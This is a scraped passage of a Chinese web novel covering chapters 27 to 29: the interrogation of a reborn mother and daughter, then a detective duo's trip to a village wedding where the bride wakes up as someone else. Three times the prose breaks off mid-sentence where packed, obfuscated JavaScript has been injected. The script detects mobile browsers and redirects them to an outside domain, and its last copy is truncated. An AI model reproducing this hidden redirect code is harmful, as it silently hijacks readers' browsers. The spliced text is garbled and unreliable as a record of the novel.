“你没听错,我说我梦到我爸妈了,我在梦里回到了我们一家三口出事的那一天。”方许恩闭了闭眼睛,心脏在胸腔中狂跳,那些暴风雪一般的记忆碎片此时随着他的苏醒似乎又再度陷入了沉睡,只留下了不甚清楚的一个阴影。“我梦到车子出车祸,后面的事……我记不起来了。” “记不起来就别想了,昂。”雍伯伸手轻拍方许恩,“老爷夫人已经走了二十年了,他们要是在天有灵,也不会想看到您继续沉浸在悲伤中,无法释怀往前走的。” “我知道。我不是悲伤,我只是觉得,我过去的记忆好像有点问题。” 雍伯惊讶地打量方许恩:“少爷,少爷您是不是受惊过度,精神出现问题了,我现在就去喊医生过来!”老人说着,匆匆忙忙地离开了房间。 “我没有疯。”方许恩望着门外洒落进来的光线,“我甚至觉得,二十年来,自己从没有一刻如此清醒过。” …… “哟,这么快又见面了,最近效率很不错嘛!”面包车开进断头路,车门一开,黑墨镜跳下车来,看到站在秦于理身边的秋樰生,不由多看了两眼。 “啧,招新人啦,难怪这么给力。” “新0000,教化所陇三。”秦于理简单给两人做了介绍。 “原来你就是那个不守规矩的新人啊,你好。”黑墨镜伸出手。 “你好。”秋樰生没有伸手。 黑墨镜没觉得尴尬,伸出去的手在空中甩了甩,改成了一个投篮的姿势,还轻轻跳了一跳。 “这次有两个重生者,是对母女,有条件的话,建议放到一起看押。”在秋樰生惊讶的目光中,秦于理说。 “得咧!”陇三右手中指食指并拢,在太阳穴那儿划了一下。打开车门,喷洒喷雾,然后在灯光中接走了手牵着手的母女两人。 面包车在蔡琴的歌声中倒着开远,秋樰生喊住转身离去的秦于理:“你怎么知道,后来那个肖英俊是朱雯婷重生的?” “很明显。”秦于理说,“在会展中心楼下,她叫朱平妈妈,而不是贱女人。” 秋樰生说:“没想到你还有这么细腻的一面。” 秦于理没理他,转身在厚重的铁门上敲击,然后转动门牌,伴随着机扩的声音,门口的路灯开始变色闪耀,扫描秦于理的全身。 “编号1178,重案组,秦于理,身份确认。” 墙上打开长方形的缺口,秦于理一步迈了进去。 秋樰生正犹豫着要不要跟上,听到黑洞洞的缺口里传出女人一贯冷淡的声音:“还愣着干什么,接受扫描。” “哦,哦!”秋樰生赶紧站到路灯扫描范围内,一个机械女声很快响起:“编号0000,重案组,秋樰生,身份确认。欢迎您,加入重案组!” 冷风吹来,秋樰生迈开长腿,追着秦于理而去! …… 周围是一片迷雾,迷雾中似乎有许多东西在蜿蜒游动,偶尔它们互相交错的时候,引发涟漪,让雾气短暂散开,雾气后露出海报的一角,形成井字形的十字路口斑马线一根根脱落消散,“朱平作品”这四个字像张纸片轻轻飘落,掉入迷雾,消失不见。 “还行。”狭小的门卫室里,有人悠闲地听着蔡琴的歌,剥着花生吃。先咬开壳,剥一批,然后全部拢到手心搓几搓,再吹一口气。 呼——花生衣全飞散出去,剩下油光润滑的花生果。 “重案组居然还在,还真是生生不息啊!” 语气说不上来是感慨,还是兴奋! 27.第27章 审讯 “矫正前访谈开始,重生者姓名?” “朱平。” “年龄?” “虚岁42。” “家庭住址?” “重生前还是重生后?” “都说说。” “重生前,白渡区香河路11弄幸福小区32幢1栋403室,重生后……” “重生后住哪里?” “香花路44号动拆迁临时安置区4号楼204室。” “重生时间?” “十年前,也就是2015年9月23日凌晨12点。” “这十年你一直住在临时安置区?” “是的。” “你是怎么做到人在隀明市但不被重案组发现的?” “我尽量不与人接触,保持深居简出。” “就这样?” “……嗯。” “想想清楚再回答,坦白从宽,抗拒从严,你知道的吧。十年不与人接触,你怎么赚钱养大女儿?” “我在餐馆后厨打零工,去仓库看门,去废品站分拣垃圾,也会通过网络接一些不用和人打交道的手工活,平时,如果没有必要,我跟我的隔壁邻居几乎不接触。” “你觉得你刚刚说的话有说服力吗?” “……嗯。” “再给你个机会,网上和肖英俊联系的ashjft106是不是你,你从哪里获得的重生方法?说!” 桌子被重重拍响,一旁坐着的“男孩”忍不住瑟缩了一下,忧心忡忡地看向坐在自己身边的母亲。 “不是。”朱平依然语气平静,从她脸上看不出任何掩饰扯谎的痕迹,这说明要么她说的都是真的,要么她就是个艺高人胆大的民间表演艺术家。 “我妈妈没有撒谎……” “闭嘴,轮不到你说话!” 严厉的斥责声让言行举止都格外秀气的“男孩”往后退了退,可他又不甘认输:“我们真的什么也没做,本来我们母女俩活得好好的,要不是肖……”说到一半,重生人朱雯婷叹了口气,倔强地说,“我们真的没想过害人,我们只是想活着,想好好活着,这也有错吗?” 秦于理一边扒拉着盒饭,一边实况观看教化所对朱平朱雯婷母女的调查,饭盒里的米饭很高,堆出了一个尖尖。 肖浩死了,真正的肖英俊也死了,母女俩现在都是重生人,等待她们的将是也许短暂也许漫长的矫正过程和注定走向消散的余生,但有两个问题仍然没有解决:第一是朱平作为一个重生人怎么做到十年的时间里身处隀明市却未引起重案组关注,直到王洁琼(黎曼红)被逮捕的时候,由于因果线震荡引发重生者涟漪,连锁反应带来大面积污染;第二是那个教肖英俊重生……或者叫复活方法的网友是谁,又是如何通过这种方法让已经变成植物人的朱雯婷在停止心跳那一刻,准确重生到肖英俊的躯壳里。 以上两个问题不解决,将会直接关系到隀明市未来的安危。 “朱平,都这样了,有意思吗?”陇三换了个语调,语气听来语重心长,跟昨晚那个在小巷子里空投篮球的傻帽截然不同,“你应该很清楚,你和你女儿这辈子都出不去了,在这里说什么都可以,教化所有能力保护你们母女的安全。反之,如果你坚持要替ashjft106保守秘密,那么我们也有的是手段对付你,和你的女儿!”镜头始终对着朱平母女,所以秦于理看不到陇三本人,但从朱平的反应来看,陇三应该是做了个颇具威胁性的动作。 这激起了朱平的抵触情绪,她低吼道:“婷婷还没成年!”活像一只被激怒的母狮。 秦于理将盒饭往旁边一推,开始聚精会神地观看审讯。 “教化所里可没有儿童、妇女、病人、老人,这里只有活人和死人,活人是我们,死人,就是你们!” 朱平一下子脸涨得通红,她胸口不断起伏,像是想发作却又不知道自己能干什么,渐渐的,她的情绪平复低落,眼神里升起了浓浓的迷惘。 活了两世,死了一次,一般人都难免在普通乏味的人生里迷几次路,更何况是她们这种死去活来的重生人。 “我真的不认识那个人。”朱平终于松了口,“刚刚重生的时候,我连发生了什么都不清楚,只知道自己莫名其妙变成了另一个人,成了婷婷的母亲。那场车祸里,婷婷的生母吴秋萍为了保护她而死,婷婷也受了很重的伤,为了治好她,我整整半年都在医院里奔波,而且那时候我根本不知道世界上还有其他重生人,更不知道有个专门管理重生案件的重案组……” 话匣子打开后,再说下去就容易多了。朱雯婷伸手过去拉住母亲的手,想要尽力给她些精神支撑。这对同样命运多舛的半路母女,经历十年的同甘共苦甚至是同生共死,和亲生母女已无二致,甚至比一般的血亲母女都更亲密。 “婷婷身体好转后,我开始考虑如何使用这莫名其妙多出来的第二段人生。我是被打死的,死的时候我很恨、很不甘,我想过如果有机会重来,一定要回去将肖浩那个畜生千刀万剐,扒皮抽筋,但是当我真的重新站在幸福小区外面的时候,我却发现,我好害怕!” 朱平的身体微微颤抖,语调也变得不稳:“我没想到自己那么没用,那么软弱,别说是找肖浩报仇,我甚至不敢走进幸福小区,我连远远看一眼小区的门头都会觉得两腿发软!电视里面演人重来一次都能脱胎换骨,我不行,我怎么都忘不了那一晚,肖浩打死我的那一晚!” 朱平的手用力抓紧了朱雯婷的,后者明显感到了痛,但乖巧懂事的女孩默默忍耐着,不仅没有叫痛,甚至连表情也没有泄露一点。说来也怪,明明是一样的躯壳,当肖英俊的灵魂换成朱雯婷后,少年的面相看着都不同了,变得温柔而有力。 “然后呢?你就这么回家了?” “没有,我不知不觉离开幸福小区,走到了隀明大剧院的门口,我想这可能是因为我以前只要有烦恼的事情就会逃出家,去那里透气的缘故吧。那个时候老剧院还没拆,去那里的大多是附近的街坊邻居,我到的时候应该是下午两点多,我有点记不清了,我在那里遇到了一个人……” “你遇到了谁,以前认识的人?” “我遇到了……”朱平刚说完这四个字就卡壳了,她清了清嗓子,“我、我遇到了……”这次依然是只说了四个字就卡壳了。第三次尝试失败后,朱平的表情变了,她开始剧烈地喘气,嘴巴不停张合,似乎很努力想要表达什么却连一个字都吐不出来。 “我……咳咳!”朱平用力咳嗽,她慌张地抽出被朱雯婷盖住的手,伸手摸向自己的喉咙,“我、我怎么了……我怎么说不出话来了?婷婷,妈妈怎么了,你快看看,妈妈是不是受伤了?” 朱平开始慌乱起来,她下意识地站起身来又因为被审讯椅拘束,猛然跌坐回去。 “咳咳咳咳咳——”朱平胸腔里发出了一连串惊天动地的咳嗽,吓得朱雯婷在旁边拼命给她拍背,“妈妈,你怎么了,警察先生,这里有医生吗,有水吗,求求你们,救救我妈妈,求求你们!” 陇三起身,很快拿来了一个茶杯:“让她全喝下去。” 朱雯婷赶紧接过,强行压住拼命咳嗽的朱平,喂她喝水。也得亏是朱雯婷现在用的是肖英俊的壳子,力气比以前大了不少,她成功压制住朱平,连喂带灌地让她把一整杯水都喝了下去。 朱平喝完水又咳嗽了一会儿,终于有了平复的迹象。她的呼吸开始变得均匀,不再咳嗽,只是脸色变得病态的潮红,像是很早以前得了肺痨的病人。 “妈妈,你好点了没?”朱雯婷紧张地询问,眼睛里已经有了泪。 “没事,妈妈没事。”朱平虚弱地回答女儿。“谢谢你。”这句话是对陇三说的。 “你这具身体有问题?”陇三虽然在发问,但口气听得出一定程度的笃定,“所以你才急着让女儿重生?因为你没办法再照顾她了!” 朱雯婷的眼睛一下子瞪大了,她惊慌地看向朱平:“妈妈,你生病了?什么时候的事,你怎么从没告诉过我!他在骗人对不对,你没事对不对,妈妈你告诉我!” “世界上没有免费的午餐,你们凭什么觉得大家都只能活一次,你们却能不受生老病死的宇宙规律限制,比别人多一条命?” “什么意思?”朱雯婷抬起头,不安地看向陇三,显然这句话出乎了她的意料,“重生不就是重活一次吗,什么叫世界上没有免费的午餐?你到底什么意思?” “我的意思很清楚,生老病死是自然规律,没有人能不用付出任何代价的重生,重生的机会是要拿其他东西去换的。” “什么东西?钱?运气?寿命?” “寿命?一个死人哪来的寿命!”陇三语带讥讽地对朱雯婷说,眼神却投注在朱平身上,“你有没有想过,如果你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469587|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是重生在吴秋萍的壳子里,和你女儿产生了因果,也许她根本不会年纪轻轻被人网暴轻生……” “我没有轻生!”朱雯婷焦急地打断陇三,“妈妈,你别听他瞎说。我那天是心情有点不好,我吃了抗抑郁的药,脑子有点昏昏沉沉的,就想去会展中心的楼顶散散心。妈妈你不是跟我说过吗,以前你心情不好的时候,就会去老剧院楼顶吹风散心,我没想到我会一不留神摔下去……” 朱平面上的潮红此时已经完全褪去,她的脸色无比苍白,她问陇三:“你是想说,如果我没有跟婷婷认识,在一起生活,她就不会小小年纪变成植物人?可我明明告诉过那个人我会自己支付代价的啊!” “笑话,一个死人还能有什么价值?吴秋萍死了,你也死了,不论是从躯壳还是从灵魂上来说,你们身上已经一滴油水都没了,你根本就付不出代价!” “怎么会这样……怎么会……”朱平喃喃自语,不敢置信地看向朱雯婷,“是我害了你吗,难道是我害了你?” 朱雯婷急得大叫:“妈妈,你别听他胡说!他在骗你的情报!” 陇三用指尖敲打着桌面,自顾自地说:“你害得何止是你女儿的健康,你仔细想想,网上嘴贱的人千千万,为什么偏偏是你自己的儿子肖英俊和你女儿朱雯婷发生了龃龉?这就是因果扭曲的代价。” 陇三话音刚落,朱平便彻底瘫软了下去,满脸都是惊恐:“他没跟我说,他没把这个跟我说!” 秦于理拿过遥控器,迅速放大朱平的面部细细观察:“她的重生污染在翻倍增加,这不正常!” 这还是秦于理第一次遇到这样的例子。突然,眼前的屏幕扭曲了一下,迅速变回正常,跟着又扭曲了第二下、第三下,三下以后,教化所里明亮的灯光骤然熄灭,切换为跳跃的红色,与因果空间极为相似。尖锐的警报声响了起来:“警报!警报!污染系数严重超标!请工作人员马上撤离!” 朱平突然摔倒,弄翻了椅子,人在地上不停抽搐,朱雯婷想去帮她妈妈,可她自己也还锁在审讯椅上,急得她不断挣扎,整个审讯室里瞬间乱作一团。 “重生崩解?”秦于理不敢置信,这代表着朱平的重生在逆向退化,如果不采取措施,眼前的朱平将很快变回一具冰冷的尸体——吴秋萍的尸体,而朱平这个人自然也不复存在。 “妈妈!妈妈!”朱雯婷尖叫起来,她已经完全吓坏了,失去了应对能力。 “闪开!”这时,陇三的背影出现在镜头中,他在女孩颈侧精准地捏了一下,朱雯婷便晕倒在审讯椅上,跟着,他朝着朱平弯下腰去。突然,这男人像是想到什么,对着摄像头举起手挥了挥,“秦队,这部分是教化所的秘密,你不是我们的员工,没有观看权限哦。” 伴随着“哒”的一声响指,秦于理面前的屏幕变黑了。 “啧!”秦于理没趣地坐回座位,继续干饭。等到屏幕再亮起来的时候,秦于理已经吃光了整盒饭,监视器画面上也只剩下了陇三。 “那对母女呢?” “送去禁闭室隔离了。” “活着?” “半死不活,还有气儿。” 秦于理问:“她被那个人动了手脚?” “嗯,朱平在隀明大剧院遇到了一个人,这个人教给她一个办法,说照着做,就能逃过重案组的耳目,但那不仅是种屏蔽机制,能隔绝你们对因果扭曲的监测,也是种慢性毒药,会日以继夜地以这个人为病毒载体,不断散播和扩大重生污染。” “那人到底教了朱平什么?” “我看不到那个人的长相,唯一看到的画面是,对方送了她一把花生,那人说一颗能管一年,朱平吃了九颗,管了九年……然后,朱雯婷出事,BOOM!”陇三做了个爆炸的手势。 花生……秦于理觉得自己好像在哪里看到过那东西,慢慢的,记忆浮现,在那个不断变幻的污染循环世界里,有个始终不变的隀明大剧院,大剧院的门房里,有个老头无比专注地搓着一把花生,看也不看突然闯入大剧院的秦于理和方许恩一眼。 “你见过他?”陇三敏锐地察觉。 “嗯,是个老头。”秦于理说,“但我发现,我已经想不起来他的样子了。” 突然,秦于理的手机从饭盒底下叽哩哇啦地叫了起来:“叮当当咚咚当当,葫芦娃,叮当当咚咚当当,本领大,快~接电话~” 28.第28章 算我求你 秦于理将自己的手机从饭盒底下扒拉出来,看了眼来电显示,发现是串不认识的号码,她按下接听,冷冷道:“你最好真的有事!” “什么?”那头的秋樰生愣了一下,“是我,秋樰生。” “在忙,一会儿再打来。”秦于理果断挂断电话,对陇三说:“你别告诉我,你没见到他的样子,你可是个观察者。” “见到了,但我看不清。”陇三说着,摘下了始终戴着的墨镜,镜头中的他,右眼上板结着一道凸起的伤疤,凹陷的眼眶证明他那只眼球已经被摘除了,剩下的左侧眼球上却蒙着一层灰白色的薄膜,像白内障的翳,“你是不是忘了,我这半吊子观察者早就残疾了,何况对方似乎对我们很了解,提前采取了某种手段。” “我不信。”秦于理说,“这么厉害的人物,你们教化所以前从来没有过记录?” “不管你信不信,情况就是这么个情况。”陇三摊手。 “如果我说你的话让我觉得我们重案组在前线拼死拼活,你们教化所摘现成桃子不算,还故意隐瞒了我们重要信息,这不算误会吧?” 陇三把墨镜重新戴了回去:“秦队,你这么讲我会很伤心的,大家都是体制内,虽然顶头上司不同,好歹也是兄弟单位。” “教化所定义里的兄弟原来是这么个意思。” “葫芦娃~葫芦娃~一根藤上七个瓜~”气氛剑拔弩张的时候,秦于理的手机突然又响了起来,她看了眼屏幕,没好气地接通。 “秋樰生,你到底从哪儿弄来的我电话?” “赵萌萌给的。”秋樰生自己也是个脾气大的,刚刚被秦于理挂电话加莫名狂喷,已经很不爽了,何况他现在也烦着呢,“你以为我想打给你,要不是……”说到这里,秋樰生的声音突然又小了下去,刚刚拔起来的气势也没了。 “秦队,你现在有空吗,我找你有点事儿。”秋樰生改为好声好气地说。 “没空,忙着呢。”秦于理正要再次切断电话,却听那头秋樰生大喊道:“秦于理,朱平母女的案子我可是帮了你大忙的,你欠我一个人情!” 秦于理眉毛微微一挑,重新把手机放回耳边,屏幕上的陇三趁机将食指中指并拢,对她比了一下,飞快切断了通讯。 “啧,鸡贼。” “什么?” “没什么,我说敢管我要人情的,你是第一个。”秦于理说,“你真以为没你重案组就不转了?” “那就当我求你。” 秦于理差点从桌子上掉下来:“什么?” 秋樰生有气无力的声音从话筒那头传来:“就当我求求你,帮我一个忙,行不行?” 半小时后,秦于理坐着秋樰生的破奥迪,行驶在出隀明市的高速路上。 马上就要过国庆了,不少早就按捺不住想要去天涯海角玩的年轻人提前请了假,已经行驶在奔向诗和远方的路上。 秋樰生在车阵里慢悠悠地挪着车,满脸写着尴尬,大概是觉得车里的气氛实在太僵硬了,他东摸西摸从手套箱里摸出一瓶水递给秦于理。 秦于理:“?” 秋樰生清了下嗓子:“喝点儿水,天气怪热的。” 秦于理接过矿泉水,看了眼标签:“过期了。” “啊?” “骗你的,瞧你这脸皮僵硬的。”秦于理拧开瓶盖,往嘴里灌了两口,“到你老家要开多久?” “一般是六个多小时,今天有点堵,可能要到傍晚才能到。” 打死秋樰生他也不会想到,自己有求女同事陪自己回老家的一天,更不会想到,那个女同事会是秦于理! 这事情要怪就得怪秋樰生的女性朋友不靠谱。国庆长假是个好日子,秋樰生有对发小安排在这个档期结婚,请他回乡参加婚礼。本来秋樰生自己出席也行,偏偏新娘以前对秋sir告过白,虽然秋樰生婉言拒绝了,但这会儿单独回去出席总觉得哪里怪怪的,所以秋樰生一收到红色炸弹就求爷爷告奶奶找了个女性朋友陪自己一起出席,算是装女朋友避个嫌,谁想到,临了要出发了,那女性朋友突发阑尾炎进医院了,秋樰生一个钢铁直男,平常都跟爷们混在一起,本来就是好不容易才找到一个搭子,那叫一个急,于是病急乱投医把秦于理给想起来了。 “老实说,我没想到你会答应这件事。”秋樰生的车终于快排到高速收费站,他捏着方向盘,有点不好意思地说。 “不是你说我欠你一个人情,我不喜欢欠别人的。”秦于理说。 “反正这次谢谢你,以后你有事也可以找我帮忙。”秋樰生说。 “我可没发小结婚。”秦于理说。 “你发小都结婚了?” “我没发小。” 秋樰生意外地看向秦于理,秦于理指前面:“开车了。” 秋樰生回过神来,前方已经空出了一截,赶紧跟车上去。 一路无话,到服务区的时候已经接近下午两点,秋樰生停了车,对秦于理说:“吃点午饭再走吧。” 秦于理问:“你不赶时间了?” 秋樰生说:“不差这一会儿。” 秦于理便下车,跟他一起进服务区去。 秋樰生和秦于理两个人都长得高,又各有各的好看,两个人一起走进服务区的时候,不少人抬眼看他俩,乍一看还以为是明星来了,再仔细一看,这两人一个看着比一个凶,路人小贩们又全都低下头,有种不敢与他俩直视的心虚感。 秋樰生看到有牛肉拉面,叫了两份,秦于理在旁边说:“给我再加份面。” 秋樰生震惊地看她,秦于理说:“怎么,小气?” 秋樰生无奈:“没看出来你长这么瘦,胃口这么大。”他加了面,还给秦于理加了份肉。 面条很快端上来,秦于理丝毫没有包袱地掰筷子夹面,唏哩呼噜地吃起来,看得秋樰生本来不怎么饿的肚子一下子就饿了,赶紧也埋头吃起来。这家面店本来顾客不多,但或许是他俩看起来吃得实在太香了,渐渐就有不少人靠过来,但又碍于他们的气场不敢接近,都打了包带走,把老板乐坏了。 “回头到了你老家,有什么值得注意的没有?”秦于理边吃面边问。 “什么?哦,新郎叫王广顺,新娘叫林雅菲,都是我的发小,我们从小一起长大,关系不错。”秋樰生给秦于理介绍人物关系,“他们都知道我调进市局了,你就说是跟我在办案时认识的就行,时间的话,一两年吧。” “到底是一年还是两年?” “认识两年,关系好就这一年。”秋樰生没想到秦于理问这么仔细,编得有些勉强。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477250|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦。”秦于理又问,“你爸妈呢,要给他们交代我的事吗?” “不用,我没有爸妈。” 秦于理停下筷子,抬头看了秋樰生一眼:“孤儿?” “弃婴。”秋樰生纠正。 孤儿是有过父母,后来失去,弃婴则是压根连自己父母是谁都不知晓。 “哦……”秦于理说,“你吃百家饭长大的?” “嗯,政府下拨了救助款,村里也有慈济堂,专门接济孤儿寡母的,我运气好,被人丢在堂口大树下,后来就在慈济堂里长大。” “你老家那种小山村里应该都是熟人社会吧,外乡人进出很打眼,你就没想着找找他俩?” “找来干吗,没兴趣。”秋樰生说,“能把刚生下来的孩子丢在外面的会是什么好父母。” “也对。”秦于理说,又埋头吃了一大片牛腱子肉。 秋樰生愣了下,说:“我还以为你会劝我呢。” 秦于理疑惑地看向秋樰生,问:“劝什么?” “不,没什么。”秋樰生突然笑了起来,“这样就好。” 秦于理看秋樰生一眼,嘟哝了一句:“怪人。” 秋樰生也学她看秦于理一眼,回嘟哝了一句:“说得你自己好像不怪似的。” “呵。”秦于理冷笑,继续干她的面。 傍晚时分,夕阳西垂,经历九九八十一堵,秋樰生终于载着秦于理回到了老家。 秋樰生的老家在黄城山里一个叫霞鹜村的小村庄。都2025年了,中部省城下辖的山村自然不可能还散发着与世隔绝的气质,相反,山间的公路修得宽阔平坦,一路开过去路灯全都亮堂堂的,路灯杆子上还安装了核心价值观的宣传灯箱,除了不像城市里那样繁华热闹,基础设施看起来和隀明市也没有很大的差距。 秋樰生把车子停在村口的空地上,领着秦于理带上礼物,徒步进村——就这些礼物也还是在离开高速服务站的时候,秋樰生突然想起来临时准备的,就图个大、贵、有隀明市LOGO。 村里的主干道铺着石板路,两侧基本是三层自建房,白墙青瓦的很文气,傍晚时分,家家户户都亮着灯,山里人吃晚饭早,这会儿已经过了饭点,正是串门消食的好时候。奇怪的是,这一路走进去,不少人家的门都打开着,家里却一个人影都没见。 秦于理问秋樰生:“人呢,都到哪儿去了?” 秋樰生也不太确定地说:“明天就是广顺雅菲的大日子了,可能大家都去他们家里帮忙了吧,往这儿走。” 秦于理跟在秋樰生后面,背着自己的背包,边走边记着路。 霞鹜村不算小,好在村庄结构并不复杂,沿着一条主干道深入进去,到了最里头,秦于理看到一片湖泊,大概两个篮球场那么大,湖水很清,在夜色下像一块反射着星光的夜光玉。围着湖有一圈三层小楼,其中一栋此时灯火辉煌,人声嘈杂,门口不时有人走出走进。 原来人都到那里去了! 秋樰生却突然脚下一顿,随后便跑了起来:“好像出事了,那是雅菲的家!” 秦于理赶紧跟着他也绕过湖泊朝那栋小楼跑了过去,中间,秦于理偶然看到一道白影自树林中一窜而过,她耳朵里听到了轻轻的“喵”的一声。 是只白猫。 29.第29章 无因果者 秦于理就留神看了那只白猫一眼,秋樰生已经钻进人群中,看不到了。 林雅菲家张灯结彩,到处贴满了囍字,的确是一派要大操大办的喜乐气氛,但这时候院子里站着的人却都面带愁容。 秦于理混进人群,听见几个阿姨嬷嬷在对话,语速很快,普通话也不不算太标准,秦于理听了个半懂不懂。 一个说:“这可怎么办,都这时候了。” 另一个说:“日子选好了,改不了的。” 又一个说:“可是娃儿现在这样……” 再多的,秦于理还没听明白,许是发现她是个生面孔,那几个村民突然就全都闭了嘴。 秦于理见她们不讲了,只好自己摸进屋子去,有人过来拦她,她就说在前头:“我跟秋樰生一起来的,秋樰生!” 村民们迟疑了一下,就被她灵巧地拨开人群,钻了进去。 林家的大厅里此时也站了好几个人,秋樰生正在和一个年轻人讲话。那人看起来比秋樰生年纪小点,中等身材,长得其实不算丑,但站在秋樰生旁边就有种萤火与明月争辉的既视感,惨无人道地被比下去一大截。 秦于理猜他就是明天的新郎王广顺,他身后有张沙发,上面坐着几个女眷,围着一个躺在沙发上的女孩子。 突然,那女孩子嘴里发出一声嘤咛,似乎从梦中幽幽转醒过来,所有本来正在讲话忙活的人全都停下了自己手头的事,扭头看过去,见那女孩子睁开眼睛,在旁边的人搀扶下慢慢坐起身来,就全都露出了松了口气的样子。 “好了好了,人没事了,丫头醒了!” “没事了没事了,林家娃儿好了。” 有人忙不迭地出去报信,屋里屋外的气氛顿时活泛起来。 本来跟秋樰生在对话的青年立刻迎上前去,半跪在沙发前,伸手去摸女孩子的头发,然而,紧接着一声惊叫突然打破了刚刚成形的快活氛围。 女孩子拽着毯子拼命往后退,躲开了青年的手,嘴里胡乱叫嚷着:“你、你是谁,这是哪儿,我怎么在这儿?” 青年明显愣了一下,说:“雅菲,我是广顺啊,你怎么了?” “广顺,广顺是谁?雅菲又是谁?”女孩子惊叫,“我不认识你,你、你们是谁,我怎么全都不认识!” 王广顺将求救的目光投向旁边一个中年妇女:“杜医生,她怎么了?” 杜医生说:“可能人刚刚从昏迷中醒过来,神智还不清醒。”她凑过去试图检查一下女孩子,结果也被女孩子让了过去。 “别碰我!你们到底在说什么,我怎么会在这儿?你们怎么把我弄到这儿来的?” 她惊慌地嚷嚷着,用一种完全陌生的眼神扫过屋子里的人,在看到秋樰生的时候却忽然一怔,随后眼睛里迸射出惊喜的神采。 “云升哥!”她大喊着,突然就叫起来,错过自己的未婚夫,飞快地扑进了秋樰生怀里。 屋子里一下子一片寂静。 秦于理:“哦豁……” 秋樰生让秦于理陪他回家的时候只说让她装一下女朋友,因为年纪大了不带人回去怕被村里长辈逼婚,其实并没有对秦于理讲自己和林雅菲之间有什么过往,但此时是个人都能看出些名堂来。 秦于理伸手从桌子上摸了一把瓜子,学着其他桌边的阿姨婶婶一样嗑瓜子,毕竟秋樰生并没交代她还要提供这方面的服务。 王广顺看秋樰生的眼神都变了,嘴唇嗫嚅着:“樰生哥,你……” 秋樰生也慌了,高举双手,这是个标准的抓女犯人时候自证清白的姿势,他扭头喊秦于理:“你还愣着干什么!” 秦于理:“?” 秋樰生无能狂怒:“你是我女朋友,秦于理!” 扑进秋樰生怀里的女孩子听到声音,扭头看向秦于理,随后不解地看向秋樰生,眼眶一下子红了,她说:“云升哥,你什么时候有的女朋友?” 秋樰生刚刚没听清,这会儿听清了,他问:“你叫我什么?” 林雅菲说:“云升哥啊,你不是李云升吗?” 这下所有人都疑惑了,差点就发作的王广顺也暂时按捺下了脾气,他说:“雅菲,你在说什么,他是樰生哥,秋樰生。” “雅菲……是谁?”下一秒,林雅菲同样露出了迷惑的眼神,“你为什么叫我雅菲,我是菊英,屠菊英。” 旁边和林雅菲长得相像的中年女人一下子急了,她挤过来抓着林雅菲的手说:“雅菲,你怎么了,你是不是把脑袋摔坏了,你还认得我吗,我是你妈妈啊!” “妈妈……”林雅菲说,“我不认识你啊,阿姨。” 女人一下子傻眼了,另一个中年男人也凑上来问:“那你还认识我吗?” 林雅菲摇头:“这里我只认识云升哥。”她露出了紧张的表情,死死地抓住秋樰生的衣服说,“云升哥,这里是哪儿啊,你带我回家好不好,我不认识他们!” “坏了坏了,娃儿一定是刚刚掉湖里把脑壳泡坏了。” “啧,我看说不定是中邪了!” “啊?那还了得,得去找隔壁村的大仙儿来看看!” 女人们七嘴八舌,充分发挥着唯恐天下不乱的热切劲儿。 秦于理在一片混乱中走到了秋樰生和女孩子面前,专注地打量她。 秋樰生忙想将女孩子的手从自己衣襟上拽下来,但对方抓得死死的,秋樰生又不能弄伤她,头疼得不得了。 “你先松开我好不好,我不是李云升,我叫秋樰生,你这样,我女朋友会生气的!” 林雅菲的眼泪一下子掉下来了,看起来委屈得要命,她努力抑制着感情说:“云升哥,你真的、真的有女朋友了吗,那我怎么办?” 秋樰生额头的青筋都蹦出来了,他能以一敌众,在犯罪分子堆里杀出重围还淡定从容,可眼下这修罗场,他是真的没经验啊! “放心,我不生气。”秦于理却伸出右手,轻轻搭在林雅菲肩上。 秋樰生简直要疯了:“秦于理,你能不能别添乱了!” 秦于理却比了个“嘘”的手势,忽然,她左手食指中指并拢,点在了林雅菲的额头,后者一下子愣住了,茫然地看着她对自己做这个动作。 秦于理说:“认识一下,我叫秦于理,在隀明市公安局刑侦大队工作,是他……你云升哥哥的同事,你呢?” 秋樰生无力辩解:“我不叫李云升……” 林雅菲愣了一下后便顺当开口说:“我叫屠菊英,和云升哥哥青梅竹马,我们从小一起长大,我现在……” 女孩子说到这里突然卡住了,她面露疑惑,似乎在努力回忆什么,很快,她的表情变得慌张起来:“我怎么记不起来了?” “什么记不起来了?你再想想,你叫屠菊英对不对,你今年几岁,住在哪儿,家里还有谁,做什么工作?”秦于理循循善诱。 女孩子的呼吸随着秦于理的提问愈发局促,脸上慌张的表情也越来越明显:“我……我叫屠菊英,今年……今年二……七……不对,我……我几岁?我住在哪儿,我刚刚在做什么,怎么会出现在这儿?我怎么想不起来了!” 女孩子攥着秋樰生的手越来越用力,秋樰生吃痛微微皱起了眉头,他忽然意识到了什么,低头看向秦于理点着女孩额头那只手腕上的表,指针正在表盘上快速晃动着,指向明确。 “重生……人?”秋樰生看向秦于理,秦于理冲他微微点了点头。 …… 鸡飞狗跳了一场,秋樰生把林雅菲暂时安顿好,出来找秦于理。 月色下的湖边,女孩子正捡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 